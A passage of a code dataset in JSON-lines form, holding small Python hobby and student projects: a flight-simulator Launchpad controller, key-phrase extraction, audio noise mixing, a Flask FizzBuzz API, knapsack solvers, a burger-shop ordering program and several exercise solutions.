self.logger.error(f\"An error occurred while making the request: {e}\", e)\n endpoint_response.status = 999\n\n self.logger.info(\n {\n \"response\": endpoint_response,\n \"message\": \"Interval ended\",\n \"name\": self.endpoint.name,\n }\n )\n\n return endpoint_response\n","repo_name":"chrisguest75/python_examples","sub_path":"09_monitor_sites/interval.py","file_name":"interval.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44194527301","text":"from SimConnect import *\nimport logging\nfrom SimConnect.Enum import *\nfrom time import sleep\nimport launchpad_py as launchpad\nfrom simconnect_mobiflight import SimConnectMobiFlight\nfrom mobiflight_variable_requests import MobiFlightVariableRequests\n\n#set up simconnect\n\nlogging.basicConfig(level=logging.DEBUG)\nLOGGER = logging.getLogger(__name__)\nLOGGER.info(\"START\")\n# time holder for inline commands\nct_g = millis()\n\n# create simconnection and pass used user classes\nsm = SimConnect()\naq = AircraftRequests(sm)\nae = AircraftEvents(sm)\nsmm = SimConnectMobiFlight()\nvr = MobiFlightVariableRequests(smm)\nvr.clear_sim_variables()\n\n\n\n#set up launchpad\n\nlp = launchpad.LaunchpadMk2()\nlp.Open(0, \"Launchpad Mk2\")\n\nwhile 1:\n\n #get the buttons pressed for each interaction\n\n buttons_pressed = lp.ButtonStateXY()\n\n #LANDING GEAR\n\n lg_handle = aq.get(\"GEAR_HANDLE_POSITION\")\n lg_percent = aq.get(\"GEAR_TOTAL_PCT_EXTENDED\")\n\n if lg_handle == 0:\n lp.LedCtrlXY(4, 3, 10, 10, 10) \n lp.LedCtrlXY(4, 4, 0, 0, 0) \n elif lg_handle == 1:\n lp.LedCtrlXY(4, 3, 0, 0, 0) \n lp.LedCtrlXY(4, 4, 10,10,10)\n if lg_percent == 0:\n lp.LedCtrlXY(3, 1, 255, 0, 0)\n lp.LedCtrlXY(4, 1, 255, 0, 0)\n lp.LedCtrlXY(5, 1, 255, 0, 0)\n if lg_percent == 1:\n lp.LedCtrlXY(3, 1, 0, 255, 0)\n lp.LedCtrlXY(4, 1, 0, 255, 0)\n lp.LedCtrlXY(5, 1, 0, 255, 0)\n\n if (buttons_pressed != []) :\n print(buttons_pressed[0], buttons_pressed[1])\n if (buttons_pressed[0] == 4 and buttons_pressed[1] == 4):\n print(\"Lowering gear...\")\n #set gear handle position to 1\n trigger_event = ae.find(\"GEAR_DOWN\")\n trigger_event()\n if (buttons_pressed[0] == 4 and buttons_pressed[1] == 3):\n print(\"Gear up...\")\n #set gear handle position to 1\n trigger_event = ae.find(\"GEAR_UP\")\n trigger_event() \n\n #AUTOBRAKE\n\n autobrake_pos = vr.get(\"(L:A32NX_AUTOBRAKES_ARMED_MODE)\")\n print(autobrake_pos)\n\n if autobrake_pos == 0:\n lp.LedCtrlXY(3, 2, 0, 0, 0)\n lp.LedCtrlXY(4, 2, 0, 0, 0)\n lp.LedCtrlXY(5, 2, 0, 0, 0)\n elif autobrake_pos == 1:\n lp.LedCtrlXY(3, 2, 0, 0, 255)\n lp.LedCtrlXY(4, 2, 0, 0, 0)\n lp.LedCtrlXY(5, 2, 0, 0, 0)\n elif autobrake_pos == 2:\n lp.LedCtrlXY(3, 2, 0, 0, 0)\n lp.LedCtrlXY(4, 2, 0, 0, 255)\n lp.LedCtrlXY(5, 2, 0, 0, 0)\n elif autobrake_pos == 3:\n lp.LedCtrlXY(3, 2, 0, 0, 0)\n lp.LedCtrlXY(4, 2, 0, 0, 0)\n lp.LedCtrlXY(5, 2, 0, 0, 255)\n\n if (buttons_pressed != []) :\n print(buttons_pressed[0], buttons_pressed[1])\n if (buttons_pressed[0] == 3 and buttons_pressed[1] == 2):\n if (autobrake_pos == 0):\n vr.set(\"1 (>L:A32NX_AUTOBRAKES_ARMED_MODE_SET)\")\n break\n elif (autobrake_pos == 1):\n vr.set(\"0 (>L:A32NX_AUTOBRAKES_ARMED_MODE_SET)\")\n break\n elif (buttons_pressed[0] == 4 and buttons_pressed[1] == 2):\n if (autobrake_pos == 0):\n vr.set(\"2 (>L:A32NX_AUTOBRAKES_ARMED_MODE_SET)\")\n break\n elif (autobrake_pos == 2):\n vr.set(\"0 (>L:A32NX_AUTOBRAKES_ARMED_MODE_SET)\",)\n break\n \n elif (buttons_pressed[0] == 5 and buttons_pressed[1] == 2):\n if (autobrake_pos == 0):\n vr.set(\"3 (>L:A32NX_AUTOBRAKES_ARMED_MODE_SET)\")\n break\n elif (autobrake_pos == 4):\n vr.set(\"0 (>L:A32NX_AUTOBRAKES_ARMED_MODE_SET)\")\n break\n\n \n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"afonsom1719/FSLaunchPad","sub_path":"newmain.py","file_name":"newmain.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42942663236","text":"import pandas as pd\nfrom nltk import word_tokenize\nfrom nltk.corpus import stopwords\nimport string\nimport re\nimport collections\nfrom heapq import nlargest\nimport random\n\n\n# import nltk\n# nltk.download('stopwords')\n\n\ndef is_valid(token: str):\n if len(token) < 4:\n return False\n elif \".\" in token:\n return False\n elif re.search(r'\\d+', token):\n return False\n else:\n return True\n\n\ndef to_text(df, text_column_name: str):\n text = \". \".join(df[text_column_name])\n text = text.lower()\n tokens = word_tokenize(text)\n stop_tokens = set(stopwords.words('english') + list(string.punctuation))\n candidates = [\n token for token in tokens if token not in stop_tokens and is_valid(token)]\n\n # print(len(candidates)) -> 15277\n\n phrases = []\n phrase = []\n for token in tokens:\n if token in stop_tokens or not is_valid(token):\n # and len(phrase) < 4 not in the original algo\n if len(phrase) > 1 and len(phrase) < 4:\n phrases.append(phrase)\n phrase = []\n else:\n phrase.append(token)\n\n frequency_dict = collections.Counter(candidates)\n # print(frequency_dict)\n\n degree_dict = {}\n for token in list(dict.fromkeys(candidates)):\n for phrase in phrases:\n if token in phrase:\n if token in degree_dict:\n degree_dict[token] += len(phrase)\n else:\n degree_dict[token] = len(phrase)\n\n # print(degree_dict)\n\n word_score_dict = {}\n for token in list(dict.fromkeys(candidates)):\n if token not in frequency_dict or token not in degree_dict:\n word_score_dict[token] = 0\n else:\n word_score_dict[token] = degree_dict[token] / frequency_dict[token]\n\n score_dict = {}\n for phrase in phrases:\n score_dict[\" \".join(phrase)] = sum(\n [word_score_dict[token] for token in phrase]) / len(phrase) # / len(phrase) not in the original algo\n\n # print(score_dict)\n\n key_phrases = nlargest(\n len(score_dict) // 3, score_dict, key=score_dict.get)\n\n key_phrases = random.sample(key_phrases, 20)\n\n print(key_phrases)\n\n return key_phrases\n\n\ndef clean_reviews():\n reviews_df = pd.read_csv(\"reviews.csv\")\n to_text(reviews_df, \"comment\")\n\n\ndef main():\n clean_reviews()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"oboneva/Sentiment-Analysis-and-Irony-Detection","sub_path":"key_phrases_extraction.py","file_name":"key_phrases_extraction.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42005297696","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 29 19:56:27 2021\r\n\r\n@author: Administrator\r\n\"\"\"\r\n\r\nimport soundfile as sf\r\nimport numpy as np\r\nimport sys\r\nimport os\r\nimport re\r\n\r\ndef add_noise(noisedir,cleandir,snr):\r\n # noisy\r\n splitdir=re.split(r\"\\\\\",noisedir)\r\n wavdir=\"\" # 所有wav文件所在路径\r\n for i in range(len(splitdir)-1):\r\n wavdir += splitdir[i] + '/'\r\n print(wavdir)\r\n noisydir=wavdir+\"noisy100_0/\" # 带噪语音存储路径\r\n print(noisydir)\r\n os.mkdir(noisydir)\r\n # noise\r\n for noisewav in os.listdir(noisedir):\r\n noise, fs = sf.read(noisedir+'/'+noisewav)\r\n print(fs)\r\n noisy_splitdir=noisydir+\"add_\"+noisewav[:-4]+\"/\"\r\n os.mkdir(noisy_splitdir)\r\n # clean\r\n for cleanwav in os.listdir(cleandir):\r\n clean, Fs = sf.read(cleandir+\"/\"+cleanwav)\r\n #print(Fs)\r\n # add noise\r\n if len(clean) <= len(noise):#fs == Fs and \r\n # 纯净语音能量\r\n cleanenergy = np.sum(np.power(clean,2))\r\n # 随机索引与clean长度相同的noise信号\r\n ind = np.random.randint(1, len(noise) - len(clean) + 1)\r\n noiselen=noise[ind:len(clean) + ind]\r\n\t\t# 噪声语音能量\r\n noiseenergy = np.sum(np.power(noiselen,2))\r\n #print(cleanenergy / noiseenergy)\r\n\t\t# 噪声等级系数\r\n noiseratio = np.sqrt((cleanenergy / noiseenergy) / (np.power(10, snr * 0.1)))\r\n\t\t# 随机索引与clean长度相同的noise信号\r\n noisyAudio = clean + noise[ind:len(clean)+ind] * noiseratio\r\n # write wav\r\n noisywavname=noisy_splitdir+cleanwav[:-4]+\"_\"+noisewav[:-4]+\"_snr\"+str(snr)+\".wav\"\r\n sf.write(noisywavname, noisyAudio, 16000)\r\n else:\r\n print(\"fs of clean and noise is unequal or the length of clean is longer than noise's\\n\")\r\n sys.exit(-1)\r\n\r\nnoisedir=\"G:/语音测试程序/数据集/NoiseX-92/NoiseX-92\"\r\ncleandir=\"G:/语音测试程序/voice_data/english/TIMIT/TIMIT_clean\"\r\nsnr=0\r\nadd_noise(noisedir,cleandir,snr)\r\n","repo_name":"SIYUAN9446/SR-MT","sub_path":"code/MRs/addnoise.py","file_name":"addnoise.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27714742700","text":"print('Welcome to The Budget Calculator')\r\nprint('Lets get started!')\r\nprint('Please type one of the letters in the parenthesis')\r\n\r\npercent = input('Do you get paid (W)eekly or (B)i-weekly? ')\r\n\r\nif percent.upper() == 'W':\r\n percent = .1\r\n check = int(input('How much do you get paid a week? $'))\r\n saveAmount = check * percent\r\n print('You should save $' + str(saveAmount) + ' every week.')\r\nelif percent.upper() == 'B':\r\n percent = .2\r\n check = int(input('How much do you get paid every two weeks? $'))\r\n saveAmount = check * percent\r\n print('You should save $' + str(saveAmount) + ' every two weeks.')\r\nelse :\r\n print('Wrong input please restart the program')","repo_name":"Agent-00-Zebra/Calculators","sub_path":"BudgetCalc.py","file_name":"BudgetCalc.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1531173030","text":"def ft_filter(function_to_apply, iterable):\n \"\"\"Filter the result of function apply to all elements of the iterable.\n Args:\n function_to_apply: a function taking an iterable.\n iterable: an iterable object (list, tuple, iterator).\n Returns:\n An iterable.\n None if the iterable can not be used by the function.\n \"\"\"\n if not callable(function_to_apply):\n print(\"ERROR: function is not callable\")\n return None\n try:\n iter(iterable)\n for elt in iterable:\n if function_to_apply(elt):\n yield elt\n except TypeError:\n print(\"ERROR: iterable is not iterable \\\nor type in iterable has to be compatible with function\")\n return None\n\n\nif __name__ == \"__main__\":\n # Example 1:\n x = [1, 2, 3, 4, 5]\n y = ['lol', 4, 3, 5, True, 2, ]\n print(ft_filter(lambda dum: not (dum % 2), x))\n print(list(ft_filter(lambda dum: not (dum % 2), x)))\n print(list(ft_filter(lambda x: x <= 1, [])))\n print(list(ft_filter(lambda x: x < 4, y)))\n","repo_name":"stelon77/42_AI_Branch","sub_path":"Python_pool/Day02/ex00/ft_filter.py","file_name":"ft_filter.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29444966940","text":"from flask import render_template\nfrom flask_restful import Resource, reqparse\n\n\nclass HelloApp(Resource):\n def get(self):\n return render_template(\"home.html\")\n # return {\"message\": \"This is Fizz Buzz home\"}, 200\n\n\nclass Fizzbuzz(Resource):\n \"\"\"\n This is the API which will grab the IP address from running\n container and save it into the database.\n \"\"\"\n def get(self):\n return {\"message\": \"This is Fizz Buzz api\"}, 200\n\n def post(self):\n parser = reqparse.RequestParser()\n parser.add_argument('number', type=int)\n args = parser.parse_args()\n num = args['number']\n result = []\n for i in range(1, num+1):\n if i % 15 == 0:\n result.append(\"FizzBuzz\")\n continue\n elif i % 3 == 0:\n result.append(\"Fizz\")\n continue\n elif i % 5 == 0:\n result.append(\"Buzz\")\n continue\n result.append(i)\n\n if len(result):\n data = {'message': \"Fizzbuzz computed\", 'result': '{}'.format(result)}\n return data, 200\n return {\"message\": \"Couldn't compute the fizzbuzz \"}, 404","repo_name":"santoshr1016/fizzbuzz","sub_path":"microservice/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36304141290","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/8/5 15:28\n# @Author : Ye Jinyu__jimmy\n# @File : test_xgboost.py\n\n#coding = utf-8\nimport sys\nimport math\n\n\n\n\nmax_value =26\ndef CompletePack_min(W, V, MW): # 不完全背包\n print('开始计算最小值')\n # 存储最大价值的一维数组\n\n valuelist = [max_value] * (MW + 1)\n valuelist[0] = 0\n\n # 存储物品编号的字典\n codedict = {i: [] for i in range(0, MW + 1)}\n # 开始计算\n print('valuelist', valuelist)\n for i in range(len(W)): # 从第一个物品\n print('正在计算',int(i),'个商品')\n copyvalue = valuelist.copy()\n copydict = codedict.copy()\n start_num = math.ceil(MW/W[i])\n print('start_num',start_num)\n for j in range(0,MW + 1): # 从重量0\n print('j',j)\n if j >= W[i]: # 如果重量大于物品重量\n cc = copyvalue[j]\n print('copyvalue',copyvalue[j])\n print('copyvalue_i-1',copyvalue[j - W[i]] + V[i])\n print('cc',cc)\n copyvalue[j] = min(copyvalue[j - W[i]] + V[i], copyvalue[j]) # 选中第i个物品和不选中,取最小\n print('copyvalue_after',copyvalue[j])\n # 输出被选中的物品编号\n # # copydict[j] = [i]\n # for hh in copydict[j - i]:\n # copydict[j].append(hh)\n if copyvalue[j] <= cc: #逐步迭代操作\n copydict[j] = [i]\n print(copydict[j])\n for h in copydict[j - W[i]]: #将最小值记录在copydict内\n copydict[j].append(h)\n print(copydict[j])\n codedict = copydict.copy() # 更新\n valuelist = copyvalue.copy() # 更新\n print('codedict',codedict)\n result = ''\n print(list(set(copydict[MW])))\n total_cost = 0\n for hcode in sorted(list(set(copydict[MW]))):\n result += '物品:%d :%d个,' % (hcode + 1, copydict[MW].count(hcode))\n weight_s = weight[hcode] * copydict[MW].count(hcode)\n total_cost += weight_s\n return '最小价值:', valuelist[-1], total_cost, result\nweight = [2.1,3.2, 3.3,4.4,5.2,3.2]\nvalue = [1,1,2,2,2,1]\nmaxweight = 20\n\n\n# 也输出选择物品的编号以及个数\ndef CompletePack(W, V, MW):#每个商品可以选择多次\n #存储最大价值的一维数组\n valuelist = [0] * (MW + 1)\n #存储物品编号的字典\n codedict = {i: [] for i in range(0, MW + 1)}\n #开始计算\n for ii in range(len(W)):#从第一个物品\n copyvalue = valuelist.copy()\n copydict = codedict.copy()\n print('正在计算',int(ii),'个商品')\n for jj in range(MW + 1):#从重量0\n print('正在计算的重量是', int(jj))\n if jj >= W[ii]:#如果重量大于物品重量\n cc = copyvalue[jj]\n print('上一次最大的价值是:',cc)\n x = round(jj - W[ii]) #索引必须要整数,但是在实际中的金额可能会存在小数的情况\n print('x',x)\n print('在放入第',ii,'个物品前最大的价值',copyvalue[x]+V[ii])\n print(copyvalue[jj])\n copyvalue[jj] = max(copyvalue[x] + V[ii], copyvalue[jj]) #选中第ii个物品和不选中,取大的\n #输出被选中的物品编号\n if copyvalue[jj] > cc:\n copydict[jj] = [ii]\n y = round(jj - W[ii])\n for hh in copydict[y]:\n copydict[jj].append(hh)\n codedict = copydict.copy()#更新\n valuelist = copyvalue.copy()#更新\n print(ii,'ii',copyvalue)\n result = ''\n total_cost = 0\n for hcode in sorted(list(set(copydict[MW]))):\n result += '%d,%d;' % (hcode, copydict[MW].count(hcode))\n weight_s = W[hcode] * copydict[MW].count(hcode)\n total_cost += weight_s\n return '最大价值:', valuelist[-1],total_cost,result\n\nresult=CompletePack(weight, value, maxweight)\nprint(result)","repo_name":"jimmyeva/AI-predict","sub_path":"xianfengsg/other_project/product_profit/profit_old/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11645395649","text":"# Sauchoy Chac 09/05/2022\r\n\r\n# implement the classes listed below\r\nclass FoodItem:\r\n foodName = \"\"\r\n foodPrice = 0.0\r\n available = 0\r\n ordered = 0\r\n\r\n def __init__(self, FoodName, FoodPrice, Available):\r\n self.foodName = FoodName\r\n self.foodPrice = FoodPrice\r\n self.available = Available\r\n\r\n def order(self, number):\r\n ordered = ordered + number\r\n\r\n\r\nclass Burger(FoodItem):\r\n meat = \"\"\r\n condiment = \"\"\r\n\r\n def __init__(self, FoodName, FoodPrice, Available, Meat, Condiment):\r\n FoodItem.__init__(self, FoodName, FoodPrice, Available)\r\n self.meat = Meat\r\n self.condiment = Condiment\r\n\r\n\r\nclass Drink(FoodItem):\r\n cupSize = 0\r\n\r\n def __init__(self, FoodName, FoodPrice, Available, CupSize):\r\n FoodItem.__init__(self, FoodName, FoodPrice, Available)\r\n self.cupSize = CupSize\r\n\r\n\r\nclass Side(FoodItem):\r\n condiment = \"\"\r\n\r\n def __init__(self, FoodName, FoodPrice, Available, Condiment):\r\n FoodItem.__init__(self, FoodName, FoodPrice, Available)\r\n self.condiment = Condiment\r\n\r\n\r\nclass Combo(FoodItem):\r\n burger = []\r\n drink = []\r\n side = []\r\n\r\n def __init__(self, FoodName, FoodPrice, Available, Burger, Drink, Side):\r\n FoodItem.__init__(self, FoodName, FoodPrice, Available)\r\n self.burger = Burger\r\n self.drink = Drink\r\n self.side = Side\r\n\r\n\r\nclass Order:\r\n orderName = \"\"\r\n orderPrice = 0.0\r\n foodItems = []\r\n\r\n def __init__(self, OrderName):\r\n self.orderName = OrderName\r\n\r\n def addItem(self, Item):\r\n self.foodItems.append(Item)\r\n\r\n\r\nmenuBurgers = []\r\nhamburger = Burger(\"Hamburger\", 2, 10, \"ham\", \"Ketchup\")\r\nbeefBurger = Burger(\"Beefburger\", 3, 11, \"beef\", \"Ketchup\")\r\nmayoChicken = Burger(\"Mayo Chicken\", 1, 15, \"chicken\", \"Mayonnaise\")\r\nmenuBurgers.append(hamburger)\r\nmenuBurgers.append(beefBurger)\r\nmenuBurgers.append(mayoChicken)\r\n\r\n\r\nmenuDrinks = []\r\nwater = Drink(\"Water\", 1, 100, 2)\r\ncoke = Drink(\"Coke\", 1.90, 50, 2)\r\ncoffee = Drink(\"Coffee\", 2, 40, 1)\r\ntea = Drink(\"Tea\", 2, 40, 1)\r\nmenuDrinks.append(water)\r\nmenuDrinks.append(coke)\r\nmenuDrinks.append(coffee)\r\nmenuDrinks.append(tea)\r\n\r\n\r\nmenuSides = []\r\nfries = Side(\"Fries\", 1, 10, \"Ketchup\")\r\nsalad = Side(\"Salad\", 2, 40, \"Sour Cream\")\r\nicecream = Side(\"Ice Cream\", 2.50, 1, \"Chocolate\")\r\nmenuSides.append(fries)\r\nmenuSides.append(salad)\r\nmenuSides.append(icecream)\r\n\r\nmenuCombos = []\r\nkidsCombo = Combo(\"KidsCombo\", 1.50, 40, hamburger, water, fries)\r\nkingCombo = Combo(\"King\", 5, 40, beefBurger, coffee, fries)\r\nmenuCombos.append(kidsCombo)\r\nmenuCombos.append(kingCombo)\r\n\r\n\r\ndef user_input_burger():\r\n\r\n print(\"Available burgers:\")\r\n for burgers in menuBurgers:\r\n if burgers.available > 0:\r\n print(burgers.foodName)\r\n else:\r\n print(\"These Items are no longer available: \")\r\n print(burgers.foodName)\r\n order = 0\r\n while order == 0:\r\n userBurgerChoice = input(\r\n \"Please enter your choice or enter 0 to go back to the menu: \").lower()\r\n if userBurgerChoice.isdigit():\r\n if int(userBurgerChoice) == 0:\r\n return 0\r\n for burgers in menuBurgers:\r\n if userBurgerChoice == burgers.foodName.lower():\r\n burgers.available = burgers.available - 1\r\n b = burgers\r\n order = 1\r\n return b\r\n\r\n print(\"Wrong input. Please try again.\")\r\n # ask user for input and store it in burger object\r\n\r\n\r\ndef user_input_drink():\r\n print(\"Available drinks:\")\r\n for drinks in menuDrinks:\r\n if drinks.available > 0:\r\n print(drinks.foodName)\r\n else:\r\n print(\"These Items are no longer available: \")\r\n print(drinks.foodName)\r\n order = 0\r\n while order == 0:\r\n userDrinkChoice = input(\r\n \"Please enter your choice or enter 0 to go back to the menu: \").lower()\r\n if userDrinkChoice.isdigit():\r\n if int(userDrinkChoice) == 0:\r\n return 0\r\n for drinks in menuDrinks:\r\n if userDrinkChoice == drinks.foodName.lower():\r\n drinks.available = drinks.available - 1\r\n d = drinks\r\n return d\r\n order = 1\r\n\r\n print(\"Wrong input. Please try again.\")\r\n # ask user for input and store it in drink object\r\n\r\n\r\ndef user_input_side():\r\n print(\"Available sides:\")\r\n for sides in menuSides:\r\n if sides.available > 0:\r\n print(sides.foodName)\r\n else:\r\n print(\"These Items are no longer available: \")\r\n print(sides.foodName)\r\n order = 0\r\n while order == 0:\r\n userSidesChoice = input(\r\n \"Please enter your choice or enter 0 to go back to the menu: \").lower()\r\n if userSidesChoice.isdigit():\r\n if int(userSidesChoice) == 0:\r\n return 0\r\n for sides in menuSides:\r\n if userSidesChoice == sides.foodName.lower():\r\n sides.available = sides.available - 1\r\n s = sides\r\n return s\r\n order = 1\r\n print(\"Wrong input. Please try again.\")\r\n # ask user for input and store it in side object\r\n\r\n\r\ndef user_input_combo():\r\n print(\"Available combos:\")\r\n for combos in menuCombos:\r\n if combos.available > 0:\r\n print(combos.foodName)\r\n else:\r\n print(\"These Items are no longer available: \")\r\n print(combos.foodName)\r\n order = 0\r\n while order == 0:\r\n userCombosChoice = input(\r\n \"Please enter your choice or enter 0 to go back to the menu: \").lower()\r\n if userCombosChoice.isdigit():\r\n if int(userCombosChoice) == 0:\r\n return 0\r\n for combos in menuCombos:\r\n if userCombosChoice == combos.foodName.lower():\r\n combos.available = combos.available - 1\r\n c = combos\r\n return c\r\n order = 1\r\n print(\"Wrong input. Please try again.\")\r\n # ask user for input and store it in combo object\r\n # a combo must include one burger, one side, and one drink\r\n\r\n\r\ndef take_order():\r\n username = input(\"Please enter your name: \")\r\n newOrder = Order(username)\r\n\r\n next = 0\r\n print(\"Welcome to the Burger Shop\")\r\n\r\n while next != 1:\r\n\r\n print(\"Please, select an item from the available menu: \")\r\n print(\"Enter 1 for Burgers\")\r\n print(\"Enter 2 for Drinks\")\r\n print(\"Enter 3 for Sides\")\r\n print(\"Enter 4 for Combos\")\r\n print(\"Enter 8 to check order details\")\r\n print(\"Enter 9 to finish your order\")\r\n print(\"Enter 0 to Cancel your order and Exit\")\r\n firstChoice = input(\"\")\r\n\r\n if int(firstChoice) == 1:\r\n\r\n itemToOrder = user_input_burger()\r\n if itemToOrder != 0:\r\n newOrder.addItem(itemToOrder)\r\n print(\"Your choice '\" + itemToOrder.foodName +\r\n \"' was added to order.\")\r\n newOrder.orderPrice = newOrder.orderPrice + itemToOrder.foodPrice\r\n elif int(firstChoice) == 2:\r\n\r\n itemToOrder = user_input_drink()\r\n if itemToOrder != 0:\r\n newOrder.addItem(itemToOrder)\r\n print(\"Your choice '\" + itemToOrder.foodName +\r\n \"' was added to order.\")\r\n newOrder.orderPrice = newOrder.orderPrice + itemToOrder.foodPrice\r\n elif int(firstChoice) == 3:\r\n\r\n itemToOrder = user_input_side()\r\n if itemToOrder != 0:\r\n newOrder.addItem(itemToOrder)\r\n print(\"Your choice '\" + itemToOrder.foodName +\r\n \"' was added to order.\")\r\n newOrder.orderPrice = newOrder.orderPrice + itemToOrder.foodPrice\r\n\r\n elif int(firstChoice) == 4:\r\n\r\n itemToOrder = user_input_combo()\r\n if itemToOrder != 0:\r\n newOrder.addItem(itemToOrder)\r\n print(\"Your choice '\" + itemToOrder.foodName +\r\n \"' was added to order.\")\r\n newOrder.orderPrice = newOrder.orderPrice + itemToOrder.foodPrice\r\n\r\n elif int(firstChoice) == 0:\r\n next = 1\r\n print(\"Thank you for your business.\")\r\n\r\n elif int(firstChoice) == 8:\r\n print(\" \")\r\n print(newOrder.orderName + \" ordered: \")\r\n for items in newOrder.foodItems:\r\n print(items.foodName)\r\n print(\"Total Price: £\" + str(newOrder.orderPrice))\r\n elif int(firstChoice) == 9:\r\n next = 1\r\n print(\" \")\r\n print(newOrder.orderName + \" ordered: \")\r\n for items in newOrder.foodItems:\r\n print(items.foodName)\r\n print(\"Total Price: £\" + str(newOrder.orderPrice))\r\n print(\"Thank you for your business.\")\r\n\r\n else:\r\n print(\"Wrong input. Please try again.\")\r\n\r\n\r\ntake_order()\r\n","repo_name":"sauchoychac/Mthree_Training","sub_path":"Python/BurgerShop.py","file_name":"BurgerShop.py","file_ext":"py","file_size_in_byte":9041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33760455838","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2020/7/30 10:24\n @Author : QDY\n @FileName: 685. 冗余连接 II.py\n @Software: PyCharm\n\"\"\"\n\"\"\"\n在本问题中,有根树指满足以下条件的有向图。该树只有一个根节点,所有其他节点都是该根节点的后继。\n每一个节点只有一个父节点,除了根节点没有父节点。\n输入一个有向图,该图由一个有着N个节点 (节点值不重复1, 2, ..., N) 的树及一条附加的边构成。\n附加的边的两个顶点包含在1到N中间,这条附加的边不属于树中已存在的边。\n结果图是一个以边组成的二维数组。 每一个边 的元素是一对 [u, v],\n用以表示有向图中连接顶点 u 和顶点 v 的边,其中 u 是 v 的一个父节点。\n返回一条能删除的边,使得剩下的图是有N个节点的有根树。\n若有多个答案,返回最后出现在给定二维数组的答案。\n\n示例 1:\n输入: [[1,2], [1,3], [2,3]]\n输出: [2,3]\n解释: 给定的有向图如下:\n 1\n / \\\nv v\n2-->3\n\n示例 2:\n输入: [[1,2], [2,3], [3,4], [4,1], [1,5]]\n输出: [4,1]\n解释: 给定的有向图如下:\n5 <- 1 -> 2\n ^ |\n | v\n 4 <- 3\n\n注意:\n二维数组大小的在3到1000范围内。\n二维数组中的每个整数在1到N之间,其中 N 是二维数组的大小。\n\n\"\"\"\nfrom collections import defaultdict\n\n\nclass Solution:\n def findRedundantDirectedConnection(self, edges):\n graph, child_set, visited = defaultdict(list), set(), {}\n delete = []\n for root, child in edges:\n if child in child_set: # 有入度为 2 的点child\n delete = [root, child] # 删除的边\n continue\n graph[root].append(child)\n child_set.add(child)\n visited[child] = 0\n visited[root] = 0\n\n self.cycle = []\n\n def dfs(cur): # 搜索是否存在环\n visited[cur] = 1\n if cur not in graph:\n return\n for nxt in graph[cur]:\n if visited[nxt] == 1:\n self.cycle = [cur, nxt]\n return\n elif visited[nxt] == 0:\n dfs(nxt)\n if self.cycle: return\n visited[cur] = 2\n\n if delete: # 删除detele边后,判断剩下的边是否存在环\n for node in graph.keys():\n if visited[node] == 0:\n dfs(node)\n if self.cycle: # 若剩下的边仍存在环,则应删除以detele[1]为子节点的另一条边\n for root in graph:\n if delete[1] in graph[root]:\n return [root, delete[1]]\n return delete\n else: # 没有入度为2的点,则一定有环,需要删除最后出现的多余的边\n for node in graph.keys():\n if visited[node] == 0:\n dfs(node)\n if self.cycle:\n return self.cycle\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/685. 冗余连接 II.py","file_name":"685. 冗余连接 II.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29440334594","text":"import numpy as np\nimport random\nimport matplotlib.pyplot as plt\n\nrandom.seed(42)\nnp.random.seed(42)\n\na = 0.6\nb = 20.\n\ndef f(x):\n return a*x + b\n\ndef sigma(z):\n\treturn 1/(1 + np.exp(-z))\n\nm = 100\nX1 = np.random.randint(1000, size=m).astype(dtype=np.float32)\nX2 = np.random.randint(1000, size=m).astype(dtype=np.float32)\nY = np.array([1 if x2 > f(x1) else 0\n\t\t\tfor x1, x2 in zip(X1, X2)], dtype=np.float32)\nfor i in range(m):\n\tif random.random() < 0.03:\n\t\tY[i] = 1 - Y[i] \n\nX = np.stack([np.ones(m), X1, X2]).T\ntheta = np.array([0., 0., 0.])\nlr = 1.\n\ndw_s=0\nfor _ in range(100000):\n\tZ = X.dot(theta)\n\ta = sigma(Z)\n\tdz = a - Y\n\tdw = X.T.dot(dz)/m\n\tdw_s = dw_s*0.9 + 0.1*dw\n\ttheta -= lr*dw_s\n\nprint(theta)\naa = -theta[1]/theta[2]\nbb = -theta[0]/theta[2]\ndef g(x):\n\treturn aa*x + bb\n\nred = np.where(Y==1)\nblue = np.where(Y==0)\nplt.plot(X1[red], X2[red], 'ro')\nplt.plot(X1[blue], X2[blue], 'bo')\n\n_x = [-100, 1100]\n_y = [g(i) for i in _x]\nplt.plot(_x, _y)\n\nplt.show()\n","repo_name":"AbshenovS/dlmin","sub_path":"logistic_regression_solution.py","file_name":"logistic_regression_solution.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17970766557","text":"import matplotlib.pyplot as plt\nimport math\nimport numpy as np\nimport sympy as sp\n\n\ndef remplazoFuncion(funcion, ele):\n usar = '' + str(ele)\n elemeto = str(funcion)\n accion = elemeto.replace('f', usar)\n return accion\n\n\ndef ecuacion(funcion, x):\n 